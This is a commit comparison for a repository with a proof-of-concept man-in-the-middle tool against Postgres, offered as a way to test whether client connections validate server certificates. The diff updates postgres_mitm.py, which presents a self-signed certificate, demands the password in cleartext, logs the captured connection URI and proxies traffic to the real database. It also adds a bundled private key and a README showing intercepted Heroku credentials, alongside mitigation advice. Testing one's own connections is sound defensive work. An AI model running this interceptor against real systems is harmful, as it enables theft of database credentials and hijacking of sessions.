Compare commits
23 commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
e15ced56d5 | ||
|
|
a8a2d80d26 | ||
|
|
f7ec9aed2f | ||
|
|
ca8d6a4cd4 | ||
|
|
dc38e1fd1b | ||
|
|
ac01be70cb | ||
|
|
16c4e7dd2a | ||
|
|
4770807c04 | ||
|
|
3cab847c8f | ||
|
|
6199600e14 | ||
|
|
bd6a379837 | ||
|
|
081898960b | ||
|
|
334fc04981 | ||
|
|
1b11d2024f | ||
|
|
927018f332 | ||
|
|
023dd1e6fb | ||
|
|
6657cceea0 | ||
|
|
ad68acfab9 | ||
|
|
982ef9fca5 | ||
|
|
1cb092dd73 | ||
|
|
ed50d9deac | ||
|
|
8ec2e9de4e | ||
|
|
4bad8cf825 |
7 changed files with 270 additions and 73 deletions
51
README.md
51
README.md
|
|
@ -12,10 +12,59 @@ Test whether your Postgres connections are vulnerable to MitM attacks.
|
|||
|
||||
If your app successfully connects to the database, it didn't validate certficates and accepted whatever was presented. The credentials for the database will be printed by the script. If you're seeing connection errors that's good, and means you're probably not vulnerable.
|
||||
|
||||
|
||||
### Heroku
|
||||
|
||||
Since changing the database hostname used by Heroku is hard, to test your connection against the database find it's IP (just extract it from the hostname), and start the script with that, then locally point the DNS of the database host to 127.0.0.1:
|
||||
|
||||
```
|
||||
# Terminal 1
|
||||
$ echo "127.0.0.1 $(heroku config:get DATABASE_URL | grep -o ec2-[^:]*)" | sudo tee -a /etc/hosts
|
||||
127.0.0.1 ec2-54-163-238-215.compute-1.amazonaws.com
|
||||
$ heroku pg:psql
|
||||
---> Connecting to DATABASE_URL
|
||||
psql (9.4.5)
|
||||
SSL connection (protocol: TLSv1.2, cipher: ECDHE-ECDSA-AES256-GCM-SHA384, bits: 256, compression: on)
|
||||
Type "help" for help.
|
||||
|
||||
mega-mitm::DATABASE=> select user;
|
||||
current_user
|
||||
----------------
|
||||
fxutzshsavlfyj
|
||||
(1 row)
|
||||
|
||||
mega-mitm::DATABASE=>
|
||||
|
||||
# Terminal 2
|
||||
$ ./postgres_mitm.py 54.163.238.215
|
||||
2016-06-06 10:28:47,634 [INFO] Listening for connections
|
||||
2016-06-06 10:28:56,383 [INFO] Intercepted auth: postgres://fxutzshsavlfyj:Yp1DA<..>eJfAtu@54.163.238.215:5432/d4ajdorhb758hq
|
||||
```
|
||||
|
||||
You could pin the database certificate, but note that this will break your app once it's moved to a different host for maintenance by Heroku. Not much we can do about that until they sign their certificates with their own CA.
|
||||
|
||||
```
|
||||
# Terminal 1 again, pin the certificate
|
||||
$ ./postgres_get_server_cert.py 54.163.238.215 > ~/.postgresql/root.crt
|
||||
$ heroku pg:psql
|
||||
---> Connecting to DATABASE_URL
|
||||
psql: SSL error: certificate verify failed
|
||||
# Good, MitM now fails, remove line we added to /etc/hosts and try again
|
||||
# against actual database
|
||||
$ heroku pg:psql
|
||||
--> Connecting to DATABASE_URL
|
||||
psql (9.4.5)
|
||||
SSL connection (protocol: TLSv1.2, cipher: ECDHE-RSA-AES256-GCM-SHA384, bits: 256, compression: off)
|
||||
Type "help" for help.
|
||||
|
||||
mega-mitm::DATABASE=>
|
||||
# Winning
|
||||
```
|
||||
|
||||
## If you're vulnerable
|
||||
|
||||
If you only have one database you can add its certificate to your trust store to prevent attacks like this one. The default trust store is `~/.postgresql/root.crt`, but you can customize this with the connection parameter `sslrootcert`.
|
||||
|
||||
If you're connecting to a database pool or are hosting many databases you should probably create your own Certificate Authority (CA) that can sign certificates for each database. Then the clients only need to trust the CA certificate and will have a secure connection to any of the databases signed by the CA.
|
||||
|
||||
As always, consult the [excellent documentation](https://www.postgresql.org/docs/9.0/static/libpq-connect.html#LIBPQ-CONNECT-SSLMODE) for details.
|
||||
As always, consult the [excellent documentation](https://www.postgresql.org/docs/9.0/static/libpq-ssl.html) for details.
|
||||
|
|
|
|||
19
cert.pem
Normal file
19
cert.pem
Normal file
|
|
@ -0,0 +1,19 @@
|
|||
-----BEGIN CERTIFICATE-----
|
||||
MIIDDTCCAfWgAwIBAgIIStsK3QYI+tAwDQYJKoZIhvcNAQELBQAwIDEeMBwGA1UE
|
||||
AxMVbWluaWNhIHJvb3QgY2EgMDFmODVhMCAXDTE4MDcyNjA3Mzg0OFoYDzIxMDgw
|
||||
NzI2MDgzODQ4WjAUMRIwEAYDVQQDEwlsb2NhbGhvc3QwggEiMA0GCSqGSIb3DQEB
|
||||
AQUAA4IBDwAwggEKAoIBAQCYcRD4hKQnoflvSlMRWftfIb5N0fargSZyI1QgDrf0
|
||||
YknqYOF5UtEngoFDvtIuTZSl2bjsidZhJYebmNEmL6ULZE3UUXGwQGYBTCrjr8Ls
|
||||
Pdzjy9SlfBpm/xrhkATEqUQ8MnQ0EmJac6GvKFb2Ct3cYxMjHaCDbwMv5nDPDR85
|
||||
SsLYGkxgqcKmMaOw6ZRNpMhBKlHpRIhT+wcfXfcrP1fB212rCH424n1NPUtAYixN
|
||||
onKnv3Bz+FK5nqWVNaByC+6bonxsx1Y57zN9Wnc+DA2Bny6c7XgSHV2pUWqqnbmv
|
||||
Q+MZsrzOZuale2ie3fmlNESGyaNI1fhfwtqnfclQuvvZAgMBAAGjVTBTMA4GA1Ud
|
||||
DwEB/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0T
|
||||
AQH/BAIwADAUBgNVHREEDTALgglsb2NhbGhvc3QwDQYJKoZIhvcNAQELBQADggEB
|
||||
AAdbvbNYIk0IvYE4oVdZwZye6bgj7rOUe+18Vz/EJbBjylkKmknraoyaMV3XP69B
|
||||
CT2qL5MbCjpFAFK5krX8s66Gkd2yJapyQa5vK52z5fKFPpehxfB3L43/BDmGadRD
|
||||
r992/Hj0mSrwmPhm3Koz++gnJ2AbmBxxy+SgISc69T2fJMccluZkHDKmpVLb9zeb
|
||||
oEy4YVVxZqILfVwsVXqO6QkIiy6I0fyWTRDylKINsXies8kWrrTtvyGTrR82DKEH
|
||||
yVVGdSA82Tc8VjZ6ZXq0BW8IgcVY/BLxbEc6pL93kb4swKIxXYrK8wDt1ug2Pi6F
|
||||
5ActJ26uig/FhICTKjh+51s=
|
||||
-----END CERTIFICATE-----
|
||||
27
key.pem
Normal file
27
key.pem
Normal file
|
|
@ -0,0 +1,27 @@
|
|||
-----BEGIN RSA PRIVATE KEY-----
|
||||
MIIEogIBAAKCAQEAmHEQ+ISkJ6H5b0pTEVn7XyG+TdH2q4EmciNUIA639GJJ6mDh
|
||||
eVLRJ4KBQ77SLk2Updm47InWYSWHm5jRJi+lC2RN1FFxsEBmAUwq46/C7D3c48vU
|
||||
pXwaZv8a4ZAExKlEPDJ0NBJiWnOhryhW9grd3GMTIx2gg28DL+Zwzw0fOUrC2BpM
|
||||
YKnCpjGjsOmUTaTIQSpR6USIU/sHH133Kz9Xwdtdqwh+NuJ9TT1LQGIsTaJyp79w
|
||||
c/hSuZ6llTWgcgvum6J8bMdWOe8zfVp3PgwNgZ8unO14Eh1dqVFqqp25r0PjGbK8
|
||||
zmbmpXtont35pTREhsmjSNX4X8Lap33JULr72QIDAQABAoIBAEN4F3jGzBi2eb2l
|
||||
+an+V2E9gArVWQWDPc7akAs4OHazYd+YTXLzEpsYCbpAJKpVr+rPuCcIwpdwktpt
|
||||
AnSSNcwa8s971IObnQoJ+hmX2v/QSYmQ12b+zHi1g+I9ab7Y49h4xDGfyWQbNX5e
|
||||
rk5rdNJsDzZFkJtbcN+scFVTi3RBUZ3zVxG1QUICkX/tfgNIY+FauMXrN6XVOmm1
|
||||
+eoLgqrag9RdiCEYlQg3fqtz0s5c8GD0dyO0xD0Z8je9bs/Q/78ALVtd9/YeQeKi
|
||||
X9Ote/JiHXBB+CtzDSHem/w3t5615b6Qsbv9LtIBEGGmCg62Pd6atubBFlhg8+6K
|
||||
UWNEStkCgYEAwSaRDN62pvm5NIit3FbG4qyR8KUo960Lw27ZIZe33k6BpTWb3wKo
|
||||
nVi8MTS5W3A7zasfLlKREGj4/4lnf/ePjbLW34HLBCWlbS2S+TDbtSbTd/UqTVnO
|
||||
s+DLx3K2CHXOtpzTMNtAzF97BaUylJuDszFVBxS3vF3E8EeabGOP3UcCgYEAygtx
|
||||
zEBoHIuNSPRz3l4ARY3UUslA0EbL9Y48d2M42SdnN8n7ELckIIRuHlgak+CQFW2N
|
||||
kIT1cUlxkKM5Fxgvqz1q3KBTXb8DAnpRMBWUU6APTYB+MthDboTds8kt/+3Fsi0j
|
||||
L0X2MHNwAu1Tz3hKoAMtNtFkrALqenxtrlI+bd8CgYAG5j7GK+pwWnlAJCW5uivO
|
||||
iwWHiA7HkhnaeEovRgEeYsWExj50H98wB6xpQY3hc0ffl948RFzELku+rQTScGBj
|
||||
WmEMiNFcq4+WL8uRNSqT9PgWz94b9zpH+J6u2C0ibjrdEQsGMr7EziBR2k3NOyTg
|
||||
MMHtx9KsWtkfEB+3AXNxHwKBgFShBJKUa8eBILXtRtdesmhv5v6iM9bJwMbjRCqR
|
||||
0g8LdS2mGda/j49bSTDGoKNOTavcDo75UkGYjMwTwmcNB3KHsEonkaPTzXPtPjKQ
|
||||
52c7xQ0mhDXR5jTVzHNxEiaANu3SAEnd2SgkQkfHlvJxJXjuu7KZdLykIAkcM2jw
|
||||
JBwrAoGAGVYllJQ7OFNrrJP6rtbst7o0A95sqsrkMoP3hiDq9uVxX9qwgYn3j3Lp
|
||||
tmw8X3F8QJXb/3nwAaHRN3r43aRaaxfoDtMMzzKRLd2J5EUfQKMvXCl8DnvG91BC
|
||||
Z5G2RdKxmdbYSvKKUygWI1MJ7bMe34EtVqibjYvG4taxvb9lPzY=
|
||||
-----END RSA PRIVATE KEY-----
|
||||
103
postgres_get_server_cert.py
Executable file
103
postgres_get_server_cert.py
Executable file
|
|
@ -0,0 +1,103 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
import argparse
|
||||
import socket
|
||||
import ssl
|
||||
import struct
|
||||
import subprocess
|
||||
import sys
|
||||
|
||||
try:
|
||||
from urlparse import urlparse
|
||||
except ImportError:
|
||||
from urllib.parse import urlparse
|
||||
|
||||
|
||||
def main():
|
||||
args = get_args()
|
||||
target = get_target_address_from_args(args)
|
||||
sock = socket.create_connection(target)
|
||||
try:
|
||||
certificate_as_pem = get_certificate_from_socket(sock)
|
||||
print(certificate_as_pem.decode('utf-8'))
|
||||
except Exception as exc:
|
||||
sys.stderr.write('Something failed while fetching certificate: {0}\n'.format(exc))
|
||||
sys.exit(1)
|
||||
finally:
|
||||
sock.close()
|
||||
|
||||
|
||||
def get_args():
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument('database', help='Either an IP address, hostname or URL with host and port')
|
||||
return parser.parse_args()
|
||||
|
||||
|
||||
def get_target_address_from_args(args):
|
||||
specified_target = args.database
|
||||
if '//' not in specified_target:
|
||||
specified_target = '//' + specified_target
|
||||
parsed = urlparse(specified_target)
|
||||
return (parsed.hostname, parsed.port or 5432)
|
||||
|
||||
|
||||
def get_certificate_from_socket(sock):
|
||||
request_ssl(sock)
|
||||
ssl_context = get_ssl_context()
|
||||
sock = ssl_context.wrap_socket(sock)
|
||||
sock.do_handshake()
|
||||
certificate_as_der = sock.getpeercert(binary_form=True)
|
||||
certificate_as_pem = encode_der_as_pem(certificate_as_der)
|
||||
return certificate_as_pem
|
||||
|
||||
|
||||
def request_ssl(sock):
|
||||
# 1234.5679 is the magic protocol version used to request TLS, defined
|
||||
# in pgcomm.h)
|
||||
version_ssl = postgres_protocol_version_to_binary(1234, 5679)
|
||||
length = struct.pack('!I', 8)
|
||||
packet = length + version_ssl
|
||||
|
||||
sock.sendall(packet)
|
||||
data = read_n_bytes_from_socket(sock, 1)
|
||||
if data != b'S':
|
||||
raise Exception('Backend does not support TLS')
|
||||
|
||||
|
||||
def get_ssl_context():
|
||||
# Return the strongest SSL context available locally
|
||||
for proto in ('PROTOCOL_TLSv1_2', 'PROTOCOL_TLSv1', 'PROTOCOL_SSLv23'):
|
||||
protocol = getattr(ssl, proto, None)
|
||||
if protocol:
|
||||
break
|
||||
return ssl.SSLContext(protocol)
|
||||
|
||||
|
||||
def encode_der_as_pem(cert):
|
||||
# Forking out to openssl to not have to add any dependencies to script,
|
||||
# preferably you'd do this with pycrypto or other ssl libraries.
|
||||
cmd = ['openssl', 'x509', '-inform', 'DER']
|
||||
pipe = subprocess.PIPE
|
||||
process = subprocess.Popen(cmd, stdin=pipe, stdout=pipe, stderr=pipe)
|
||||
stdout, stderr = process.communicate(cert)
|
||||
if stderr:
|
||||
raise Exception('OpenSSL error when converting cert to PEM: {0}'.format(stderr))
|
||||
return stdout.strip()
|
||||
|
||||
|
||||
def read_n_bytes_from_socket(sock, n):
|
||||
buf = bytearray(n)
|
||||
view = memoryview(buf)
|
||||
while n:
|
||||
nbytes = sock.recv_into(view, n)
|
||||
view = view[nbytes:] # slicing views is cheap
|
||||
n -= nbytes
|
||||
return buf
|
||||
|
||||
|
||||
def postgres_protocol_version_to_binary(major, minor):
|
||||
return struct.pack('!I', major << 16 | minor)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
126
postgres_mitm.py
Normal file → Executable file
126
postgres_mitm.py
Normal file → Executable file
|
|
@ -1,42 +1,47 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
from __future__ import print_function
|
||||
|
||||
# This script demonstrates how to setup a Man-in-the-Middle (MitM) attack on a
|
||||
# Postgres connection with SSLMODE=require or less. Attack is mitigated by
|
||||
# setting SSLMODE=verify or SSLMODE=verify-full, which requires you to get the
|
||||
# certificate of either your server or a CA that has signed it's certificate.
|
||||
# setting SSLMODE=verify-ca or SSLMODE=verify-full, which requires you to get
|
||||
# the certificate of either your server or a CA that has signed it's
|
||||
# certificate.
|
||||
|
||||
# What the script does:
|
||||
# listen on socket for ssl startup messages
|
||||
# reply with 'S' (supported?)
|
||||
# Do TLS handshake with random cert/key
|
||||
# Tell client to authenticate over plaintext to capture the password
|
||||
# Initiate database connection to actual backend using the supplied password
|
||||
# Proxy all traffic between the client and the actual database
|
||||
# * Bind to 5432 and listen for incoming connections
|
||||
# * If someone connects over plaintext, request password to be sent in the clear
|
||||
# * If someone requests to connect over SSL, initiate the SSL connection with a
|
||||
# self-signed certificate, then ask for password in plaintext
|
||||
# * Initiate TLS connection to actual database with the supplied credentials
|
||||
# * Proxy all traffic between the client and the actual database
|
||||
|
||||
# The backend database to proxy must be given as an argument on the command
|
||||
# line for now, but in an actual attack you would read this from the redirect
|
||||
# fields on the IP packets or similar, depending on how you're performing the
|
||||
# attack.
|
||||
# The target database must be given as an argument on the command line.
|
||||
|
||||
# PS: Please don't look to this script for examples of how to write good socket
|
||||
# code, this is just a quick proof of concept.
|
||||
# code, this is just a proof of concept.
|
||||
|
||||
import argparse
|
||||
import hashlib
|
||||
import logging
|
||||
import os
|
||||
import select
|
||||
import socket
|
||||
import ssl
|
||||
import select
|
||||
import struct
|
||||
import sys
|
||||
import tempfile
|
||||
import textwrap
|
||||
import threading
|
||||
import time
|
||||
import logging
|
||||
from collections import namedtuple
|
||||
|
||||
# Sent by client when requesting TLS connection (this is the magic version
|
||||
# 1234.5679 of the protocol, defined in pgcomm.h)
|
||||
SSL_STARTUP_RESPONSE = 'S'
|
||||
VERSION_SSL = '\x04\xd2\x16\x2f'
|
||||
VERSION_3 = '\x00\x03\x00\x00'
|
||||
VERSION_SSL = b'\x04\xd2\x16\x2f'
|
||||
VERSION_3 = b'\x00\x03\x00\x00'
|
||||
SSL_STARTUP_RESPONSE = b'S'
|
||||
PY2 = sys.version_info < (3, 0, 0)
|
||||
|
||||
_logger = logging.getLogger(__name__)
|
||||
|
||||
|
|
@ -64,7 +69,8 @@ def main():
|
|||
target_backend = args.backend
|
||||
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
sock.bind(('0.0.0.0', 5432))
|
||||
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1)
|
||||
sock.bind(('0.0.0.0', args.port))
|
||||
|
||||
# max queued connections
|
||||
backlog = 5
|
||||
|
|
@ -89,7 +95,7 @@ def main():
|
|||
remove_stopped_threads(threads)
|
||||
|
||||
except (KeyboardInterrupt, SystemExit):
|
||||
_logger.info('Received exit, shutting down sockets')
|
||||
_logger.info('Received exit, shutting down')
|
||||
sock.shutdown(socket.SHUT_RDWR)
|
||||
sock.close()
|
||||
stop_threads(threads)
|
||||
|
|
@ -100,6 +106,8 @@ def get_args():
|
|||
parser.add_argument('backend')
|
||||
parser.add_argument('-l', '--logging-level',
|
||||
choices=('debug', 'info', 'warning'), default='info')
|
||||
parser.add_argument('-p', '--port', default=5432, type=int,
|
||||
help='The local port to bind to. Default: %(default)s')
|
||||
return parser.parse_args()
|
||||
|
||||
|
||||
|
|
@ -131,7 +139,10 @@ class ClientConnection(threading.Thread):
|
|||
if protocol:
|
||||
break
|
||||
self.ssl_context = ssl.SSLContext(protocol)
|
||||
self.ssl_context.load_cert_chain(certfile='server.cert', keyfile='server.key')
|
||||
dirname = os.path.dirname(__file__)
|
||||
cert = os.path.join(dirname, 'cert.pem')
|
||||
key = os.path.join(dirname, 'key.pem')
|
||||
self.ssl_context.load_cert_chain(cert, key)
|
||||
self.socket = client_socket
|
||||
self.target_backend = target_backend
|
||||
self.server_socket = None
|
||||
|
|
@ -148,6 +159,7 @@ class ClientConnection(threading.Thread):
|
|||
|
||||
|
||||
def run(self):
|
||||
buffer_size = 4096
|
||||
try:
|
||||
self.initiate_client_and_server_connections()
|
||||
_logger.debug('Initiated')
|
||||
|
|
@ -156,7 +168,7 @@ class ClientConnection(threading.Thread):
|
|||
sockets = [self.server_socket, self.socket]
|
||||
sockets_with_data = select.select(sockets, [], [], timeout)[0]
|
||||
if self.socket in sockets_with_data:
|
||||
data = self.socket.read()
|
||||
data = self.socket.recv(buffer_size)
|
||||
_logger.debug('Client -> Server: %s' % repr(data))
|
||||
if data:
|
||||
self.server_socket.send(data)
|
||||
|
|
@ -166,7 +178,7 @@ class ClientConnection(threading.Thread):
|
|||
self.server_socket.close()
|
||||
break
|
||||
if self.server_socket in sockets_with_data:
|
||||
data = self.server_socket.read()
|
||||
data = self.server_socket.recv(buffer_size)
|
||||
_logger.debug('Server -> Client: %s' % repr(data))
|
||||
if data:
|
||||
self.socket.send(data)
|
||||
|
|
@ -175,6 +187,15 @@ class ClientConnection(threading.Thread):
|
|||
self.socket.close()
|
||||
self.server_socket.shutdown(socket.SHUT_RDWR)
|
||||
self.server_socket.close()
|
||||
except ssl.SSLError as exc:
|
||||
if exc.reason == 'TLSV1_ALERT_UNKNOWN_CA':
|
||||
_logger.info('Client had an established trust root, could'
|
||||
' not intercept details.')
|
||||
else:
|
||||
_logger.info('Got TLS error when establishing connection: %s', exc.strerror)
|
||||
raise
|
||||
except Exception as exc:
|
||||
_logger.exception('Got exception during protocol handling: %s' % exc)
|
||||
finally:
|
||||
self.terminate()
|
||||
|
||||
|
|
@ -224,8 +245,8 @@ class ClientConnection(threading.Thread):
|
|||
def wait_for_auth_request(self):
|
||||
# Format of message is <char tag><int32 len><message>
|
||||
first_5_bytes = self.read_n_bytes_from_client(5)
|
||||
tag = first_5_bytes[0]
|
||||
if tag != 'p':
|
||||
tag = first_5_bytes[0:1]
|
||||
if tag != b'p':
|
||||
raise Exception("Received non-auth request: %s" % tag)
|
||||
|
||||
# Bump length with 1 to offset for tag
|
||||
|
|
@ -257,10 +278,9 @@ class ClientConnection(threading.Thread):
|
|||
self.startup_packet = data
|
||||
self.options = parse_options_from_startup_packet(data)
|
||||
_logger.debug('Startup packet processed successfully: %s' % self.options)
|
||||
auth_reply = 'R%(length)s%(method)s' % {
|
||||
'length': struct.pack('!I', 8),
|
||||
'method': struct.pack('!I', AUTH_METHODS['AUTH_REQ_PASSWORD']),
|
||||
}
|
||||
length = struct.pack('!I', 8)
|
||||
method = struct.pack('!I', AUTH_METHODS['AUTH_REQ_PASSWORD'])
|
||||
auth_reply = b'R' + length + method
|
||||
_logger.debug('Replying to startup: %s' % repr(auth_reply))
|
||||
self.socket.send(auth_reply)
|
||||
return True
|
||||
|
|
@ -272,10 +292,10 @@ class ClientConnection(threading.Thread):
|
|||
password = parse_password_from_authentication_packet(data)
|
||||
if self.connect_to_actual_backend(password):
|
||||
captured_uri = 'postgres://%(user)s:%(password)s@%(host)s:5432/%(database)s' % {
|
||||
'user': self.options.get('user', ''),
|
||||
'password': password,
|
||||
'user': self.options.get('user', b'').decode('utf-8'),
|
||||
'password': password.decode('utf-8'),
|
||||
'host': self.target_backend,
|
||||
'database': self.options.get('database', ''),
|
||||
'database': self.options.get('database', b'').decode('utf-8'),
|
||||
}
|
||||
_logger.info('Intercepted auth: %s' % captured_uri)
|
||||
# Switch socket to non-blocking to enable messages to pass in
|
||||
|
|
@ -288,13 +308,11 @@ class ClientConnection(threading.Thread):
|
|||
|
||||
def connect_to_actual_backend(self, password):
|
||||
self.server_socket = socket.create_connection((self.target_backend, 5432))
|
||||
packet = '%(length)s%(version)s' % {
|
||||
'length': struct.pack('!I', 8),
|
||||
'version': VERSION_SSL,
|
||||
}
|
||||
length = struct.pack('!I', 8)
|
||||
packet = length + VERSION_SSL
|
||||
self.server_socket.sendall(packet)
|
||||
data = read_n_bytes_from_socket(self.server_socket, 1)
|
||||
assert data == 'S'
|
||||
assert data == b'S'
|
||||
self.server_socket = self.ssl_context.wrap_socket(self.server_socket)
|
||||
self.server_socket.do_handshake()
|
||||
self.server_socket.sendall(self.startup_packet)
|
||||
|
|
@ -304,7 +322,7 @@ class ClientConnection(threading.Thread):
|
|||
if auth_request.method == 'AUTH_REQ_MD5':
|
||||
# options is 4-byte salt
|
||||
salt = auth_request.options
|
||||
response = create_md5_auth_packet(self.options.get('user', ''), password, salt)
|
||||
response = create_md5_auth_packet(self.options.get('user', b''), password, salt)
|
||||
self.server_socket.sendall(response)
|
||||
else:
|
||||
_logger.debug('Unsupported backend auth method: %s' % auth_request.method)
|
||||
|
|
@ -318,7 +336,7 @@ class ClientConnection(threading.Thread):
|
|||
|
||||
def receive_auth_request_from_backend(self):
|
||||
first_9_bytes = self.read_n_bytes_from_server(9)
|
||||
assert first_9_bytes[0] == 'R'
|
||||
assert first_9_bytes[0:1] == b'R'
|
||||
packet_length = struct.unpack('!I', first_9_bytes[1:5])[0]
|
||||
# Tag doesn't count on length, read the rest
|
||||
the_rest = self.read_n_bytes_from_server(packet_length - 8)
|
||||
|
|
@ -335,9 +353,7 @@ class ClientConnection(threading.Thread):
|
|||
if not sock:
|
||||
continue
|
||||
try:
|
||||
if not socket_is_closed(self.socket):
|
||||
self.socket.shutdown(socket.SHUT_RDWR)
|
||||
self.socket.close()
|
||||
sock.close()
|
||||
except:
|
||||
_logger.exception('Got exception when trying to close socket')
|
||||
self.stop()
|
||||
|
|
@ -354,40 +370,40 @@ def read_n_bytes_from_socket(sock, n):
|
|||
nbytes = sock.recv_into(view, n)
|
||||
view = view[nbytes:] # slicing views is cheap
|
||||
n -= nbytes
|
||||
return str(buf)
|
||||
return buf
|
||||
|
||||
|
||||
def create_md5_auth_packet(username, password, salt):
|
||||
pw_and_username = password + username
|
||||
pw_hash = hashlib.md5(pw_and_username).hexdigest()
|
||||
salted_hash = 'md5' + hashlib.md5(pw_hash + salt).hexdigest()
|
||||
response = 'p%(length)s%(salted_hash)s\0' % {
|
||||
# 32 bytes of digest, four bytes length, 3 bytes for 'md5', one byte terminating null
|
||||
'length': struct.pack('!I', 40),
|
||||
'salted_hash': salted_hash,
|
||||
}
|
||||
return response
|
||||
salted_hash = 'md5' + hashlib.md5(pw_hash.encode('utf-8') + salt).hexdigest()
|
||||
# 32 bytes of digest, four bytes length, 3 bytes for 'md5', one byte terminating null
|
||||
length = struct.pack('!I', 40)
|
||||
return b'p' + length + salted_hash.encode('utf-8') + b'\x00'
|
||||
|
||||
|
||||
def parse_options_from_startup_packet(data):
|
||||
# format is <in32 length><in32 protocol>[<key>\0<value>\0]+\0
|
||||
raw_key_value_pairs = data[8:]
|
||||
assert raw_key_value_pairs[-1] == '\0'
|
||||
assert raw_key_value_pairs[-1] == 0
|
||||
raw_key_value_pairs = raw_key_value_pairs[0:-1]
|
||||
assert raw_key_value_pairs.count('\0') % 2 == 0
|
||||
if PY2:
|
||||
assert raw_key_value_pairs.count('\0') % 2 == 0
|
||||
else:
|
||||
assert raw_key_value_pairs.count(0) % 2 == 0
|
||||
|
||||
options = {}
|
||||
key_value_pairs = data[8:].split('\0')
|
||||
key_value_pairs = data[8:].split(b'\x00')
|
||||
for i in range(0, len(key_value_pairs), 2):
|
||||
key = key_value_pairs[i]
|
||||
value = key_value_pairs[i + 1]
|
||||
options[key] = value
|
||||
options[key.decode('utf-8')] = value
|
||||
|
||||
return options
|
||||
|
||||
|
||||
def parse_password_from_authentication_packet(data):
|
||||
assert data[-1] == '\0'
|
||||
assert data[-1] == 0
|
||||
return data[5:-1]
|
||||
|
||||
|
||||
|
|
|
|||
|
|
@ -1,9 +0,0 @@
|
|||
-----BEGIN CERTIFICATE-----
|
||||
MIIBFTCBvQIJAOVlsttuSJP1MAoGCCqGSM49BAMCMBUxEzARBgNVBAMMCnNlbGZz
|
||||
aWduZWQwHhcNMTYwNTI5MTg0NDAzWhcNMjYwNTI3MTg0NDAzWjAVMRMwEQYDVQQD
|
||||
DApzZWxmc2lnbmVkMFYwEAYHKoZIzj0CAQYFK4EEAAoDQgAER28qhX8p79zv7x0G
|
||||
Mkqef7KfDXgmobUfcUKhmt5Eqn+8GnraVjvrzAs+6jMcLemUj1+dLbkmFKMtFolA
|
||||
f0EDbjAKBggqhkjOPQQDAgNHADBEAiAD1hIlVDGKtKkRyCZISZ/UteZ1hBzaX00Q
|
||||
g6qnOtZlcgIgCWlME+pNLmaSeMVx7unb6zFGNhDzfxeSSJEM5tlCGZs=
|
||||
-----END CERTIFICATE-----
|
||||
|
||||
|
|
@ -1,8 +0,0 @@
|
|||
-----BEGIN EC PARAMETERS-----
|
||||
BgUrgQQACg==
|
||||
-----END EC PARAMETERS-----
|
||||
-----BEGIN EC PRIVATE KEY-----
|
||||
MHMCAQEEHyXy23774hq9CTorIFwGuppBUlXIZN0eOsjruDkJopigBwYFK4EEAAqh
|
||||
RANCAARHbyqFfynv3O/vHQYySp5/sp8NeCahtR9xQqGa3kSqf7waetpWO+vMCz7q
|
||||
Mxwt6ZSPX50tuSYUoy0WiUB/QQNu
|
||||
-----END EC PRIVATE KEY-----
|
||||
Loading…
Add table
Reference in a new issue